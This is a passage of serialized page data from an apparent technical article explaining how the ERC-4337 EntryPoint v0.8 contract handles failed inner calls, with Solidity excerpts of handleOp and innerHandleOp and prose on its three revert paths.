PackedUserOperation",{"type":23,"tag":504,"props":103473,"children":103474},{"style":511},[103475],{"type":28,"value":101763},{"type":23,"tag":504,"props":103477,"children":103478},{"style":529},[103479],{"type":28,"value":101768},{"type":23,"tag":504,"props":103481,"children":103482},{"style":523},[103483],{"type":28,"value":2484},{"type":23,"tag":504,"props":103485,"children":103486},{"class":506,"line":633},[103487,103492,103496],{"type":23,"tag":504,"props":103488,"children":103489},{"style":511},[103490],{"type":28,"value":103491},"        UserOpInfo",{"type":23,"tag":504,"props":103493,"children":103494},{"style":511},[103495],{"type":28,"value":101831},{"type":23,"tag":504,"props":103497,"children":103498},{"style":529},[103499],{"type":28,"value":103500}," opInfo\n",{"type":23,"tag":504,"props":103502,"children":103503},{"class":506,"line":687},[103504],{"type":23,"tag":504,"props":103505,"children":103506},{"style":523},[103507],{"type":28,"value":22898},{"type":23,"tag":504,"props":103509,"children":103510},{"class":506,"line":736},[103511,103516],{"type":23,"tag":504,"props":103512,"children":103513},{"style":511},[103514],{"type":28,"value":103515},"    internal",{"type":23,"tag":504,"props":103517,"children":103518},{"style":511},[103519],{"type":28,"value":103520}," virtual\n",{"type":23,"tag":504,"props":103522,"children":103523},{"class":506,"line":785},[103524,103528,103532,103536,103541],{"type":23,"tag":504,"props":103525,"children":103526},{"style":544},[103527],{"type":28,"value":45488},{"type":23,"tag":504,"props":103529,"children":103530},{"style":523},[103531],{"type":28,"value":801},{"type":23,"tag":504,"props":103533,"children":103534},{"style":1012},[103535],{"type":28,"value":45147},{"type":23,"tag":504,"props":103537,"children":103538},{"style":529},[103539],{"type":28,"value":103540}," collected",{"type":23,"tag":504,"props":103542,"children":103543},{"style":523},[103544],{"type":28,"value":537},{"type":23,"tag":504,"props":103546,"children":103547},{"class":506,"line":813},[103548],{"type":23,"tag":504,"props":103549,"children":103550},{"style":523},[103551],{"type":28,"value":103552},"    [...]\n",{"type":23,"tag":504,"props":103554,"children":103555},{"class":506,"line":851},[103556,103561],{"type":23,"tag":504,"props":103557,"children":103558},{"style":1012},[103559],{"type":28,"value":103560},"        bool",{"type":23,"tag":504,"props":103562,"children":103563},{"style":523},[103564],{"type":28,"value":103565}," success;\n",{"type":23,"tag":504,"props":103567,"children":103568},{"class":506,"line":869},[103569],{"type":23,"tag":504,"props":103570,"children":103571},{"style":523},[103572],{"type":28,"value":30637},{"type":23,"tag":504,"props":103574,"children":103575},{"class":506,"line":878},[103576],{"type":23,"tag":504,"props":103577,"children":103578},{"style":523},[103579],{"type":28,"value":103552},{"type":23,"tag":504,"props":103581,"children":103582},{"class":506,"line":1221},[103583,103587,103592,103596],{"type":23,"tag":504,"props":103584,"children":103585},{"style":544},[103586],{"type":28,"value":57780},{"type":23,"tag":504,"props":103588,"children":103589},{"style":523},[103590],{"type":28,"value":103591}," (methodSig ",{"type":23,"tag":504,"props":103593,"children":103594},{"style":598},[103595],{"type":28,"value":7559},{"type":23,"tag":504,"props":103597,"children":103598},{"style":523},[103599],{"type":28,"value":103600}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":504,"props":103602,"children":103603},{"class":506,"line":1276},[103604,103609,103613,103618,103622,103626,103630,103635],{"type":23,"tag":504,"props":103605,"children":103606},{"style":1012},[103607],{"type":28,"value":103608},"                bytes",{"type":23,"tag":504,"props":103610,"children":103611},{"style":511},[103612],{"type":28,"value":101831},{"type":23,"tag":504,"props":103614,"children":103615},{"style":523},[103616],{"type":28,"value":103617}," executeUserOp ",{"type":23,"tag":504,"props":103619,"children":103620},{"style":598},[103621],{"type":28,"value":601},{"type":23,"tag":504,"props":103623,"children":103624},{"style":511},[103625],{"type":28,"value":102428},{"type":23,"tag":504,"props":103627,"children":103628},{"style":523},[103629],{"type":28,"value":320},{"type":23,"tag":504,"props":103631,"children":103632},{"style":517},[103633],{"type":28,"value":103634},"encodeCall",{"type":23,"tag":504,"props":103636,"children":103637},{"style":523},[103638],{"type":28,"value":103639},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":504,"props":103641,"children":103642},{"class":506,"line":1285},[103643,103648,103652,103656,103660,103664,103668,103672],{"type":23,"tag":504,"props":103644,"children":103645},{"style":523},[103646],{"type":28,"value":103647},"                innerCall ",{"type":23,"tag":504,"props":103649,"children":103650},{"style":598},[103651],{"type":28,"value":601},{"type":23,"tag":504,"props":103653,"children":103654},{"style":511},[103655],{"type":28,"value":102428},{"type":23,"tag":504,"props":103657,"children":103658},{"style":523},[103659],{"type":28,"value":320},{"type":23,"tag":504,"props":103661,"children":103662},{"style":517},[103663],{"type":28,"value":103634},{"type":23,"tag":504,"props":103665,"children":103666},{"style":523},[103667],{"type":28,"value":526},{"type":23,"tag":504,"props":103669,"children":103670},{"style":511},[103671],{"type":28,"value":16673},{"type":23,"tag":504,"props":103673,"children":103674},{"style":523},[103675],{"type":28,"value":103676},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":504,"props":103678,"children":103679},{"class":506,"line":1294},[103680,103684],{"type":23,"tag":504,"props":103681,"children":103682},{"style":523},[103683],{"type":28,"value":1200},{"type":23,"tag":504,"props":103685,"children":103686},{"style":544},[103687],{"type":28,"value":103688},"else\n",{"type":23,"tag":504,"props":103690,"children":103691},{"class":506,"line":1302},[103692],{"type":23,"tag":504,"props":103693,"children":103694},{"style":523},[103695],{"type":28,"value":30673},{"type":23,"tag":504,"props":103697,"children":103698},{"class":506,"line":1311},[103699,103703,103707,103711,103715,103719,103723,103727],{"type":23,"tag":504,"props":103700,"children":103701},{"style":523},[103702],{"type":28,"value":103647},{"type":23,"tag":504,"props":103704,"children":103705},{"style":598},[103706],{"type":28,"value":601},{"type":23,"tag":504,"props":103708,"children":103709},{"style":511},[103710],{"type":28,"value":102428},{"type":23,"tag":504,"props":103712,"children":103713},{"style":523},[103714],{"type":28,"value":320},{"type":23,"tag":504,"props":103716,"children":103717},{"style":517},[103718],{"type":28,"value":103634},{"type":23,"tag":504,"props":103720,"children":103721},{"style":523},[103722],{"type":28,"value":526},{"type":23,"tag":504,"props":103724,"children":103725},{"style":511},[103726],{"type":28,"value":16673},{"type":23,"tag":504,"props":103728,"children":103729},{"style":523},[103730],{"type":28,"value":103731},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":504,"props":103733,"children":103734},{"class":506,"line":1334},[103735],{"type":23,"tag":504,"props":103736,"children":103737},{"style":523},[103738],{"type":28,"value":1282},{"type":23,"tag":504,"props":103740,"children":103741},{"class":506,"line":1370},[103742,103747,103751,103756],{"type":23,"tag":504,"props":103743,"children":103744},{"style":517},[103745],{"type":28,"value":103746},"            assembly",{"type":23,"tag":504,"props":103748,"children":103749},{"style":523},[103750],{"type":28,"value":801},{"type":23,"tag":504,"props":103752,"children":103753},{"style":622},[103754],{"type":28,"value":103755},"\"memory-safe\"",{"type":23,"tag":504,"props":103757,"children":103758},{"style":523},[103759],{"type":28,"value":537},{"type":23,"tag":504,"props":103761,"children":103762},{"class":506,"line":1384},[103763,103768,103772,103776,103780,103785,103789,103793,103797,103801,103805,103809,103814,103819,103823,103828,103833,103837,103841,103845],{"type":23,"tag":504,"props":103764,"children":103765},{"style":523},[103766],{"type":28,"value":103767},"                success ",{"type":23,"tag":504,"props":103769,"children":103770},{"style":598},[103771],{"type":28,"value":20588},{"type":23,"tag":504,"props":103773,"children":103774},{"style":517},[103775],{"type":28,"value":39937},{"type":23,"tag":504,"props":103777,"children":103778},{"style":523},[103779],{"type":28,"value":526},{"type":23,"tag":504,"props":103781,"children":103782},{"style":517},[103783],{"type":28,"value":103784},"gas",{"type":23,"tag":504,"props":103786,"children":103787},{"style":523},[103788],{"type":28,"value":17355},{"type":23,"tag":504,"props":103790,"children":103791},{"style":1012},[103792],{"type":28,"value":31618},{"type":23,"tag":504,"props":103794,"children":103795},{"style":523},[103796],{"type":28,"value":17355},{"type":23,"tag":504,"props":103798,"children":103799},{"style":1440},[103800],{"type":28,"value":3001},{"type":23,"tag":504,"props":103802,"children":103803},{"style":523},[103804],{"type":28,"value":576},{"type":23,"tag":504,"props":103806,"children":103807},{"style":517},[103808],{"type":28,"value":8618},{"type":23,"tag":504,"props":103810,"children":103811},{"style":523},[103812],{"type":28,"value":103813},"(innerCall, ",{"type":23,"tag":504,"props":103815,"children":103816},{"style":1440},[103817],{"type":28,"value":103818},"0x20",{"type":23,"tag":504,"props":103820,"children":103821},{"style":523},[103822],{"type":28,"value":14157},{"type":23,"tag":504,"props":103824,"children":103825},{"style":517},[103826],{"type":28,"value":103827},"mload",{"type":23,"tag":504,"props":103829,"children":103830},{"style":523},[103831],{"type":28,"value":103832},"(innerCall), ",{"type":23,"tag":504,"props":103834,"children":103835},{"style":1440},[103836],{"type":28,"value":3001},{"type":23,"tag":504,"props":103838,"children":103839},{"style":523},[103840],{"type":28,"value":576},{"type":23,"tag":504,"props":103842,"children":103843},{"style":1440},[103844],{"type":28,"value":59325},{"type":23,"tag":504,"props":103846,"children":103847},{"style":523},[103848],{"type":28,"value":1192},{"type":23,"tag":504,"props":103850,"children":103851},{"class":506,"line":1392},[103852,103857,103861,103866,103870,103874],{"type":23,"tag":504,"props":103853,"children":103854},{"style":523},[103855],{"type":28,"value":103856},"                collected ",{"type":23,"tag":504,"props":103858,"children":103859},{"style":598},[103860],{"type":28,"value":20588},{"type":23,"tag":504,"props":103862,"children":103863},{"style":517},[103864],{"type":28,"value":103865}," mload",{"type":23,"tag":504,"props":103867,"children":103868},{"style":523},[103869],{"type":28,"value":526},{"type":23,"tag":504,"props":103871,"children":103872},{"style":1440},[103873],{"type":28,"value":3001},{"type":23,"tag":504,"props":103875,"children":103876},{"style":523},[103877],{"type":28,"value":1192},{"type":23,"tag":504,"props":103879,"children":103880},{"class":506,"line":1400},[103881],{"type":23,"tag":504,"props":103882,"children":103883},{"style":523},[103884],{"type":28,"value":1282},{"type":23,"tag":504,"props":103886,"children":103887},{"class":506,"line":1422},[103888,103893],{"type":23,"tag":504,"props":103889,"children":103890},{"style":517},[103891],{"type":28,"value":103892},"            _restoreFreePtr",{"type":23,"tag":504,"props":103894,"children":103895},{"style":523},[103896],{"type":28,"value":103897},"(saveFreePtr);\n",{"type":23,"tag":504,"props":103899,"children":103900},{"class":506,"line":1450},[103901],{"type":23,"tag":504,"props":103902,"children":103903},{"style":523},[103904],{"type":28,"value":1291},{"type":23,"tag":504,"props":103906,"children":103907},{"class":506,"line":1463},[103908,103912,103916,103920],{"type":23,"tag":504,"props":103909,"children":103910},{"style":544},[103911],{"type":28,"value":2250},{"type":23,"tag":504,"props":103913,"children":103914},{"style":523},[103915],{"type":28,"value":801},{"type":23,"tag":504,"props":103917,"children":103918},{"style":598},[103919],{"type":28,"value":19603},{"type":23,"tag":504,"props":103921,"children":103922},{"style":523},[103923],{"type":28,"value":103924},"success) {\n",{"type":23,"tag":504,"props":103926,"children":103927},{"class":506,"line":1485},[103928],{"type":23,"tag":504,"props":103929,"children":103930},{"style":523},[103931],{"type":28,"value":103552},{"type":23,"tag":504,"props":103933,"children":103934},{"class":506,"line":1503},[103935,103939,103944,103948],{"type":23,"tag":504,"props":103936,"children":103937},{"style":544},[103938],{"type":28,"value":57780},{"type":23,"tag":504,"props":103940,"children":103941},{"style":523},[103942],{"type":28,"value":103943}," (innerRevertCode ",{"type":23,"tag":504,"props":103945,"children":103946},{"style":598},[103947],{"type":28,"value":7559},{"type":23,"tag":504,"props":103949,"children":103950},{"style":523},[103951],{"type":28,"value":103952}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":504,"props":103954,"children":103955},{"class":506,"line":1516},[103956],{"type":23,"tag":504,"props":103957,"children":103958},{"style":1106},[103959],{"type":28,"value":103960},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":504,"props":103962,"children":103963},{"class":506,"line":1543},[103964],{"type":23,"tag":504,"props":103965,"children":103966},{"style":1106},[103967],{"type":28,"value":103968},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":504,"props":103970,"children":103971},{"class":506,"line":1583},[103972,103977,103982,103987,103992],{"type":23,"tag":504,"props":103973,"children":103974},{"style":544},[103975],{"type":28,"value":103976},"                revert",{"type":23,"tag":504,"props":103978,"children":103979},{"style":517},[103980],{"type":28,"value":103981}," FailedOp",{"type":23,"tag":504,"props":103983,"children":103984},{"style":523},[103985],{"type":28,"value":103986},"(opIndex, ",{"type":23,"tag":504,"props":103988,"children":103989},{"style":622},[103990],{"type":28,"value":103991},"\"AA95 out of gas\"",{"type":23,"tag":504,"props":103993,"children":103994},{"style":523},[103995],{"type":28,"value":630},{"type":23,"tag":504,"props":103997,"children":103998},{"class":506,"line":1605},[103999,104003,104007,104011,104015,104019],{"type":23,"tag":504,"props":104000,"children":104001},{"style":523},[104002],{"type":28,"value":1200},{"type":23,"tag":504,"props":104004,"children":104005},{"style":544},[104006],{"type":28,"value":2293},{"type":23,"tag":504,"props":104008,"children":104009},{"style":544},[104010],{"type":28,"value":14766},{"type":23,"tag":504,"props":104012,"children":104013},{"style":523},[104014],{"type":28,"value":103943},{"type":23,"tag":504,"props":104016,"children":104017},{"style":598},[104018],{"type":28,"value":7559},{"type":23,"tag":504,"props":104020,"children":104021},{"style":523},[104022],{"type":28,"value":104023}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":504,"props":104025,"children":104026},{"class":506,"line":1614},[104027],{"type":23,"tag":504,"props":104028,"children":104029},{"style":1106},[104030],{"type":28,"value":104031},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":504,"props":104033,"children":104034},{"class":506,"line":1627},[104035,104039,104044,104048,104053,104057,104062,104066,104070],{"type":23,"tag":504,"props":104036,"children":104037},{"style":1012},[104038],{"type":28,"value":102211},{"type":23,"tag":504,"props":104040,"children":104041},{"style":523},[104042],{"type":28,"value":104043}," actualGas ",{"type":23,"tag":504,"props":104045,"children":104046},{"style":598},[104047],{"type":28,"value":601},{"type":23,"tag":504,"props":104049,"children":104050},{"style":523},[104051],{"type":28,"value":104052}," preGas ",{"type":23,"tag":504,"props":104054,"children":104055},{"style":598},[104056],{"type":28,"value":3308},{"type":23,"tag":504,"props":104058,"children":104059},{"style":511},[104060],{"type":28,"value":104061}," gasleft",{"type":23,"tag":504,"props":104063,"children":104064},{"style":523},[104065],{"type":28,"value":13024},{"type":23,"tag":504,"props":104067,"children":104068},{"style":598},[104069],{"type":28,"value":1642},{"type":23,"tag":504,"props":104071,"children":104072},{"style":523},[104073],{"type":28,"value":104074}," opInfo.preOpGas;\n",{"type":23,"tag":504,"props":104076,"children":104077},{"class":506,"line":1655},[104078,104082,104086,104090],{"type":23,"tag":504,"props":104079,"children":104080},{"style":1012},[104081],{"type":28,"value":102211},{"type":23,"tag":504,"props":104083,"children":104084},{"style":523},[104085],{"type":28,"value":102858},{"type":23,"tag":504,"props":104087,"children":104088},{"style":598},[104089],{"type":28,"value":601},{"type":23,"tag":504,"props":104091,"children":104092},{"style":523},[104093],{"type":28,"value":104094}," opInfo.prefund;\n",{"type":23,"tag":504,"props":104096,"children":104097},{"class":506,"line":1668},[104098,104103],{"type":23,"tag":504,"props":104099,"children":104100},{"style":517},[104101],{"type":28,"value":104102},"                _emitPrefundTooLow",{"type":23,"tag":504,"props":104104,"children":104105},{"style":523},[104106],{"type":28,"value":104107},"(opInfo);\n",{"type":23,"tag":504,"props":104109,"children":104110},{"class":506,"line":1682},[104111,104116,104121,104125],{"type":23,"tag":504,"props":104112,"children":104113},{"style":517},[104114],{"type":28,"value":104115},"                _emitUserOperationEvent",{"type":23,"tag":504,"props":104117,"children":104118},{"style":523},[104119],{"type":28,"value":104120},"(opInfo, ",{"type":23,"tag":504,"props":104122,"children":104123},{"style":511},[104124],{"type":28,"value":7158},{"type":23,"tag":504,"props":104126,"children":104127},{"style":523},[104128],{"type":28,"value":104129},", actualGasCost, actualGas);\n",{"type":23,"tag":504,"props":104131,"children":104132},{"class":506,"line":1691},[104133,104137,104141],{"type":23,"tag":504,"props":104134,"children":104135},{"style":523},[104136],{"type":28,"value":103856},{"type":23,"tag":504,"props":104138,"children":104139},{"style":598},[104140],{"type":28,"value":601},{"type":23,"tag":504,"props":104142,"children":104143},{"style":523},[104144],{"type":28,"value":104145}," actualGasCost;\n",{"type":23,"tag":504,"props":104147,"children":104148},{"class":506,"line":1699},[104149,104153,104157],{"type":23,"tag":504,"props":104150,"children":104151},{"style":523},[104152],{"type":28,"value":1200},{"type":23,"tag":504,"props":104154,"children":104155},{"style":544},[104156],{"type":28,"value":2293},{"type":23,"tag":504,"props":104158,"children":104159},{"style":523},[104160],{"type":28,"value":552},{"type":23,"tag":504,"props":104162,"children":104163},{"class":506,"line":1708},[104164],{"type":23,"tag":504,"props":104165,"children":104166},{"style":523},[104167],{"type":28,"value":103552},{"type":23,"tag":504,"props":104169,"children":104170},{"class":506,"line":1717},[104171,104175,104179,104184],{"type":23,"tag":504,"props":104172,"children":104173},{"style":523},[104174],{"type":28,"value":103856},{"type":23,"tag":504,"props":104176,"children":104177},{"style":598},[104178],{"type":28,"value":601},{"type":23,"tag":504,"props":104180,"children":104181},{"style":517},[104182],{"type":28,"value":104183}," _postExecution",{"type":23,"tag":504,"props":104185,"children":104186},{"style":523},[104187],{"type":28,"value":2439},{"type":23,"tag":504,"props":104189,"children":104190},{"class":506,"line":1725},[104191],{"type":23,"tag":504,"props":104192,"children":104193},{"style":523},[104194],{"type":28,"value":104195},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":504,"props":104197,"children":104198},{"class":506,"line":1757},[104199],{"type":23,"tag":504,"props":104200,"children":104201},{"style":523},[104202],{"type":28,"value":104203},"                    opInfo,\n",{"type":23,"tag":504,"props":104205,"children":104206},{"class":506,"line":1765},[104207],{"type":23,"tag":504,"props":104208,"children":104209},{"style":523},[104210],{"type":28,"value":104211},"                    context,\n",{"type":23,"tag":504,"props":104213,"children":104214},{"class":506,"line":22762},[104215],{"type":23,"tag":504,"props":104216,"children":104217},{"style":523},[104218],{"type":28,"value":104219},"                    actualGas\n",{"type":23,"tag":504,"props":104221,"children":104222},{"class":506,"line":22799},[104223],{"type":23,"tag":504,"props":104224,"children":104225},{"style":523},[104226],{"type":28,"value":104227},"                );\n",{"type":23,"tag":504,"props":104229,"children":104230},{"class":506,"line":22812},[104231],{"type":23,"tag":504,"props":104232,"children":104233},{"style":523},[104234],{"type":28,"value":1282},{"type":23,"tag":504,"props":104236,"children":104237},{"class":506,"line":22825},[104238],{"type":23,"tag":504,"props":104239,"children":104240},{"style":523},[104241],{"type":28,"value":1291},{"type":23,"tag":504,"props":104243,"children":104244},{"class":506,"line":22838},[104245],{"type":23,"tag":504,"props":104246,"children":104247},{"style":523},[104248],{"type":28,"value":875},{"type":23,"tag":24,"props":104250,"children":104251},{},[104252,104254,104259,104261,104267,104269,104275,104277,104283],{"type":28,"value":104253},"During execution, the ",{"type":23,"tag":56,"props":104255,"children":104257},{"className":104256},[],[104258],{"type":28,"value":101014},{"type":28,"value":104260}," contract makes a ",{"type":23,"tag":92,"props":104262,"children":104265},{"href":104263,"rel":104264},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[96],[104266],{"type":28,"value":37272},{"type":28,"value":104268}," to its own ",{"type":23,"tag":56,"props":104270,"children":104272},{"className":104271},[],[104273],{"type":28,"value":104274},"innerHandleOp",{"type":28,"value":104276}," function through a low-level ",{"type":23,"tag":56,"props":104278,"children":104280},{"className":104279},[],[104281],{"type":28,"value":104282},"call()",{"type":28,"value":104284},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":24,"props":104286,"children":104287},{},[104288,104290,104296,104297,104302,104304,104311,104313,104319],{"type":28,"value":104289},"If this call fails (when ",{"type":23,"tag":56,"props":104291,"children":104293},{"className":104292},[],[104294],{"type":28,"value":104295},"success",{"type":28,"value":4483},{"type":23,"tag":56,"props":104298,"children":104300},{"className":104299},[],[104301],{"type":28,"value":7158},{"type":28,"value":104303},"), the code enters an ",{"type":23,"tag":92,"props":104305,"children":104308},{"href":104306,"rel":104307},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[96],[104309],{"type":28,"value":104310},"error handling",{"type":28,"value":104312}," flow that checks the ",{"type":23,"tag":56,"props":104314,"children":104316},{"className":104315},[],[104317],{"type":28,"value":104318},"innerRevertCode",{"type":28,"value":104320},". There are three possible paths:",{"type":23,"tag":41,"props":104322,"children":104323},{},[104324,104348,104366],{"type":23,"tag":45,"props":104325,"children":104326},{},[104327,104328,104333,104334,104340,104342,104347],{"type":28,"value":6463},{"type":23,"tag":56,"props":104329,"children":104331},{"className":104330},[],[104332],{"type":28,"value":104318},{"type":28,"value":4483},{"type":23,"tag":56,"props":104335,"children":104337},{"className":104336},[],[104338],{"type":28,"value":104339},"INNER_OUT_OF_GAS",{"type":28,"value":104341},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":56,"props":104343,"children":104345},{"className":104344},[],[104346],{"type":28,"value":103991},{"type":28,"value":320},{"type":23,"tag":45,"props":104349,"children":104350},{},[104351,104352,104357,104358,104364],{"type":28,"value":6463},{"type":23,"tag":56,"props":104353,"children":104355},{"className":104354},[],[104356],{"type":28,"value":104318},{"type":28,"value":4483},{"type":23,"tag":56,"props":104359,"children":104361},{"className":104360},[],[104362],{"type":28,"value":104363},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":104365},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":45,"props":104367,"children":104368},{},[104369,104371,104377,104379,104385],{"type":28,"value":104370},"For any other revert reason, the code will still call ",{"type":23,"tag":56,"props":104372,"children":104374},{"className":104373},[],[104375],{"type":28,"value":104376},"_postExecution()",{"type":28,"value":104378}," but with ",{"type":23,"tag":56,"props":104380,"children":104382},{"className":104381},[],[104383],{"type":28,"value":104384},"PostOpMode.postOpReverted",{"type":28,"value":104386},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":24,"props":104388,"children":104389},{},[104390,104392,104397,104399,104404,104406,104411,104413,104418],{"type":28,"value":104391},"We're particularly interested in the third error path, where ",{"type":23,"tag":56,"props":104393,"children":104395},{"className":104394},[],[104396],{"type":28,"value":104318},{"type":28,"value":104398}," is neither ",{"type":23,"tag":56,"props":104400,"children":104402},{"className":104401},[],[104403],{"type":28,"value":104339},{"type":28,"value":104405}," nor ",{"type":23,"tag":56,"props":104407,"children":104409},{"className":104408},[],[104410],{"type":28,"value":104363},{"type":28,"value":104412},". To understand this case better, let's examine how ",{"type":23,"tag":56,"props":104414,"children":104416},{"className":104415},[],[104417],{"type":28,"value":104274},{"type":28,"value":104419}," works.",{"type":23,"tag":494,"props":104421,"children":104423},{"className":3455,"code":104422,"language":3454,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[104424],{"type":23,"tag":56,"props":104425,"children":104426},{"__ignoreMap":7},[104427,104443,104464,104484,104500,104533,104540,104557,104581,104621,104640,104665,104699,104723,104740,104748,104756,104764,104772,104780,104787,104800,104817,104824,104831,104838,104849,104888,104904,104911],{"type":23,"tag":504,"props":104428,"children":104429},{"class":506,"line":507},[104430,104434,104439],{"type":23,"tag":504,"props":104431,"children":104432},{"style":511},[104433],{"type":28,"value":88582},{"type":23,"tag":504,"props":104435,"children":104436},{"style":517},[104437],{"type":28,"value":104438}," innerHandleOp",{"type":23,"tag":504,"props":104440,"children":104441},{"style":523},[104442],{"type":28,"value":2439},{"type":23,"tag":504,"props":104444,"children":104445},{"class":506,"line":540},[104446,104451,104455,104460],{"type":23,"tag":504,"props":104447,"children":104448},{"style":1012},[104449],{"type":28,"value":104450},"        bytes",{"type":23,"tag":504,"props":104452,"children":104453},{"style":511},[104454],{"type":28,"value":101831},{"type":23,"tag":504,"props":104456,"children":104457},{"style":529},[104458],{"type":28,"value":104459}," callData",{"type":23,"tag":504,"props":104461,"children":104462},{"style":523},[104463],{"type":28,"value":2484},{"type":23,"tag":504,"props":104465,"children":104466},{"class":506,"line":555},[104467,104471,104475,104480],{"type":23,"tag":504,"props":104468,"children":104469},{"style":511},[104470],{"type":28,"value":103491},{"type":23,"tag":504,"props":104472,"children":104473},{"style":511},[104474],{"type":28,"value":101831},{"type":23,"tag":504,"props":104476,"children":104477},{"style":529},[104478],{"type":28,"value":104479}," opInfo",{"type":23,"tag":504,"props":104481,"children":104482},{"style":523},[104483],{"type":28,"value":2484},{"type":23,"tag":504,"props":104485,"children":104486},{"class":506,"line":633},[104487,104491,104495],{"type":23,"tag":504,"props":104488,"children":104489},{"style":1012},[104490],{"type":28,"value":104450},{"type":23,"tag":504,"props":104492,"children":104493},{"style":511},[104494],{"type":28,"value":101763},{"type":23,"tag":504,"props":104496,"children":104497},{"style":529},[104498],{"type":28,"value":104499}," context\n",{"type":23,"tag":504,"props":104501,"children":104502},{"class":506,"line":687},[104503,104508,104513,104517,104521,104525,104529],{"type":23,"tag":504,"props":104504,"children":104505},{"style":523},[104506],{"type":28,"value":104507},"    ) ",{"type":23,"tag":504,"props":104509,"children":104510},{"style":511},[104511],{"type":28,"value":104512},"external",{"type":23,"tag":504,"props":104514,"children":104515},{"style":544},[104516],{"type":28,"value":74744},{"type":23,"tag":504,"props":104518,"children":104519},{"style":523},[104520],{"type":28,"value":801},{"type":23,"tag":504,"props":104522,"children":104523},{"style":1012},[104524],{"type":28,"value":45147},{"type":23,"tag":504,"props":104526,"children":104527},{"style":529},[104528],{"type":28,"value":102572},{"type":23,"tag":504,"props":104530,"children":104531},{"style":523},[104532],{"type":28,"value":537},{"type":23,"tag":504,"props":104534,"children":104535},{"class":506,"line":736},[104536],{"type":23,"tag":504,"props":104537,"children":104538},{"style":523},[104539],{"type":28,"value":103552},{"type":23,"tag":504,"props":104541,"children":104542},{"class":506,"line":785},[104543,104548,104552],{"type":23,"tag":504,"props":104544,"children":104545},{"style":523},[104546],{"type":28,"value":104547},"        IPaymaster.PostOpMode mode ",{"type":23,"tag":504,"props":104549,"children":104550},{"style":598},[104551],{"type":28,"value":601},{"type":23,"tag":504,"props":104553,"children":104554},{"style":523},[104555],{"type":28,"value":104556}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":504,"props":104558,"children":104559},{"class":506,"line":813},[104560,104564,104569,104573,104577],{"type":23,"tag":504,"props":104561,"children":104562},{"style":544},[104563],{"type":28,"value":2250},{"type":23,"tag":504,"props":104565,"children":104566},{"style":523},[104567],{"type":28,"value":104568}," (callData.length ",{"type":23,"tag":504,"props":104570,"children":104571},{"style":598},[104572],{"type":28,"value":9443},{"type":23,"tag":504,"props":104574,"children":104575},{"style":1440},[104576],{"type":28,"value":2023},{"type":23,"tag":504,"props":104578,"children":104579},{"style":523},[104580],{"type":28,"value":537},{"type":23,"tag":504,"props":104582,"children":104583},{"class":506,"line":851},[104584,104589,104594,104598,104603,104607,104612,104616],{"type":23,"tag":504,"props":104585,"children":104586},{"style":1012},[104587],{"type":28,"value":104588},"            bool",{"type":23,"tag":504,"props":104590,"children":104591},{"style":523},[104592],{"type":28,"value":104593}," success ",{"type":23,"tag":504,"props":104595,"children":104596},{"style":598},[104597],{"type":28,"value":601},{"type":23,"tag":504,"props":104599,"children":104600},{"style":523},[104601],{"type":28,"value":104602}," Exec.",{"type":23,"tag":504,"props":104604,"children":104605},{"style":517},[104606],{"type":28,"value":37272},{"type":23,"tag":504,"props":104608,"children":104609},{"style":523},[104610],{"type":28,"value":104611},"(mUserOp.sender, ",{"type":23,"tag":504,"props":104613,"children":104614},{"style":1440},[104615],{"type":28,"value":3001},{"type":23,"tag":504,"props":104617,"children":104618},{"style":523},[104619],{"type":28,"value":104620},", callData, callGasLimit);\n",{"type":23,"tag":504,"props":104622,"children":104623},{"class":506,"line":869},[104624,104628,104632,104636],{"type":23,"tag":504,"props":104625,"children":104626},{"style":544},[104627],{"type":28,"value":57780},{"type":23,"tag":504,"props":104629,"children":104630},{"style":523},[104631],{"type":28,"value":801},{"type":23,"tag":504,"props":104633,"children":104634},{"style":598},[104635],{"type":28,"value":19603},{"type":23,"tag":504,"props":104637,"children":104638},{"style":523},[104639],{"type":28,"value":103924},{"type":23,"tag":504,"props":104641,"children":104642},{"class":506,"line":878},[104643,104647,104652,104656,104661],{"type":23,"tag":504,"props":104644,"children":104645},{"style":1012},[104646],{"type":28,"value":102211},{"type":23,"tag":504,"props":104648,"children":104649},{"style":523},[104650],{"type":28,"value":104651}," freePtr ",{"type":23,"tag":504,"props":104653,"children":104654},{"style":598},[104655],{"type":28,"value":601},{"type":23,"tag":504,"props":104657,"children":104658},{"style":517},[104659],{"type":28,"value":104660}," 